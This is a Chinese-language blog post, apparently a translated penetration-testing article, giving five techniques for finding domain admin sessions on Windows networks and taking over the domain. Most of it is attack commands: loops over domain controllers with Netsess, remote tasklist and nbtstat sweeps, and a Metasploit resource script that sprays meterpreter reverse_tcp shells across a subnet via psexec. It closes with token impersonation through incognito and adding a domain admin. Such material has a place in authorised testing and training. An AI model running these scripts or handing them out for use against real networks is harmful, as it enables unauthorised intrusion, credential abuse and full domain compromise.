域渗透技巧介绍
域管理进程转移,使得渗透测试人员能够模拟在互联网上的域名管理员账户进行操作。尽管如此,在渗透测试开始之前需要确认系统中进程是否运行。在这篇博文中,我讲介绍5个技巧来帮助大家去做这些事情。
本地检测
查询活跃的域控制器
扫描远程系统上运行的任务
扫描远程系统上NetBIOS信息
PSExec扫描远程系统上的身份验证令牌
获取域名管理员权限
在大多数情况下,本篇文章关注的焦点在于识别运行于域名管理进程的系统。
以下为大部分渗透测试人员获取域名管理权限的过程
确定目标系统和应用程序
识别潜在的漏洞
利用漏洞获得初始访问
提升权限
定位域管理进程或者获取远程系统上的本地身份验证令牌
通过本地管理员的密码Hash,破解密码,使用mimikatz工具抓取密码验证运行在远程系统上的域名管理进程
迁移域管理进程
创建一个域管理员
整个过程在大多渗透测试社区中都有提到,如果你想了解更多详情,可以通过Google找到许多指导书,技术文章,演示视频。在本文中,我们注重的是前面提到的定位域管理进程或者获取远程系统上的本地身份验证令牌。
寻找域名管理进程
下面开始讲解我承诺给大家的5个技巧。
Technique 1:本地检测
检测目标系统总是第一步,以下是一个使用本地命令检测域管理进程的简单方法。
运行以下命令获得域管理的列表:
net group “Domain Admins” /domain
运行以下命令列出进程和进程所有者,账户运行的进程应该第七栏
Tasklist /v
交叉引用的任务列表和域管理员列表
在目标系统中,如果域管理进程一开始就是可用的那就好办了,但有时候,并非我们想的那么简单。所以,接下来的4个技巧会帮你在远程域系统中找出域管理进程。
Technique 2:查询活跃的域名控制器
据我所知,这个技巧是由一个NetSPI造成的。我们需要一个方法去识别活跃域名管理进程,或者是关闭IDS进行一些扫描。最终它会出现一个简单查询域控制器,获取活跃域用户以及交叉引用域管理员列表。美中不足的是,你需要查询所有的域控制器。下面我会提供一个基本步骤来获取活跃域管理员。
使用LDAP查询从 “Domain Controllers”单元收集域控制器的列表,或者使用一下命令
net group “Domain Controllers” /domain
重要提示:从单元中获取到的域控制器的列表可信度十分高。但请记住,你应该通过列举信任域进程并标记这些域控制器。此外你也可以通过DNS查看
Nslookup –type=SRV _ldap._tcp.
使用LDAP查询从”Domain Admins”获取域管理员列表,或者使用下列命令
net group “Domain Admins” /domain
使用Netsess.exe查询所有域控制器,获取所有的活跃域。这是一款牛逼的工具,使用如下命令
Netsess.exe –h
交叉引用域管理员列表和活跃会话列表,来确认哪个IP地址有活跃域令牌。在安全的环境下你可能需要等待域管理员或者含有权限的服务账户,然后在进行活动。下面是一个快速使用Netsess的Windows命令行脚本,记住dcs.txt是一个域控制器列表admins.txt是一个域管理员列表。
FOR /F %i in (dcs.txt) do @echo [+] Querying DC %i && @netsess -h %i 2>nul > sessions.txt &&
FOR /F %a in (admins.txt) DO @type sessions.txt | @findstr /I %a
我写了一个简单的批处理脚本GDA,它可以使整个过程完全自动化,详情可以看readme文件。在Mark Beard以及Ivan Dasilva的启发下,我还创建了一个名为GDU的脚本进行Windows字典攻击。如果你感兴趣,可以通过点击上面的链接下载
Technique 3:扫描远程系统上运行的任务
通常经过前面两个技巧的摧残,大部分情况都能攻下了。然而,我在LaNMSteR53的博客上看到另外一种聪明的方法。如果你使用共享本地管理员帐户运行域系统,你可以运行下面的脚本扫描系统中的域管理任务。类似于前面提到的技巧,同样首先需要列举域管理员。下面的脚本包含,ips.txt目标系统列表,names.txt域管理员列表。
FOR /F %i in (ips.txt) DO @echo [+] %i && @tasklist /V /S %i /U user /P password 2>NUL > output.txt &&
FOR /F %n in (names.txt) DO @type output.txt | findstr %n > NUL && echo [!] %n was found running a process on %i && pause
Technique 4:扫描远程系统上NetBIOS信息
一些Windows系统仍然允许用户通过NetBIOS查询已登录用户,同样也可以使用原生的nbtstat工具进行查询
下面这个Windows命令行脚本将扫描远程系统活跃域管理会话。
for /F %i in (ips.txt) do @echo [+] Checking %i && nbtstat -A %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i
你也可以使用nbtscan工具
for /F %i in (ips.txt) do @echo [+] Checking %i && nbtscan -f %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i
Technique 5:PSExec扫描远程系统上的身份验证令牌
安装Metasploit 3.5或更高版本
将下面脚本复制到一个文本文件并保存到Metasploit目录,命名为psexec_spray.rc.
#Setup Multi Handler to accept multiple incoming connections use multi/handler setg PAYLOAD windows/meterpreter/reverse_tcp setg LHOST 0.0.0.0 setg LPORT 55555 set ExitOnSession false exploit -j -z
#Setup Credentials use windows/smb/psexec set SMBUser set SMBPass
#Setup Domain as local host unless using domain credentials set SMBDomain. #Disable playload handler in psexec modules (using multi handler) set DisablePayloadHandler true #Run Ruby code to scan desired network range using some REX API stuff - range walker #note: could also accept ip addresses from a file by replacing rhosts =”192.168.74.0/24” with rhosts = File.readlines(“c:systems.txt”) require 'rex/socket/range_walker' rhosts = "192.168.1.0/24" iplist = Rex::Socket::RangeWalker.new(rhosts) iplist.each do |rhost| #self allows for execution of commands in msfconsole self.run_single("set RHOST #{rhost}") #-j-z send the session to the background self.run_single("exploit -j -z") end
更新smbuser和smbpass参数
输入以下命令运行脚本,psexec_spray.rc脚本使用所提供的凭据在所有存在于192.168.1.0/24的系统中盲目安装meterpreter shells
msfconsole –r psexec_spray.rc
你可以使用Metasploit的token_hunter模块识别域管理令牌
创建一个包含域管理员列表的文件: COMPANYjoe-admin COMPANYbill-admin COMPANYdavid-admin
加载token_hunter模块
msfconsole msf> load token_hunter
运行token_hunter列出域管理令牌
msf> token_hunt_user -f /tmp/domain-admin.txt
另外,你可以使用下面的命令来获得当前登录用户的列表
Sessions –s loggedin
What Now?
如果你已经有一个meterpreter会话,你可以用进入隐身模式来冒充域管理员或者添加一个新的管理员。
在meterpreter会话中加载隐身模式
load incongnito
尝试添加一个域管理员:
add_user -h
add_group ""Domain Admins"" -h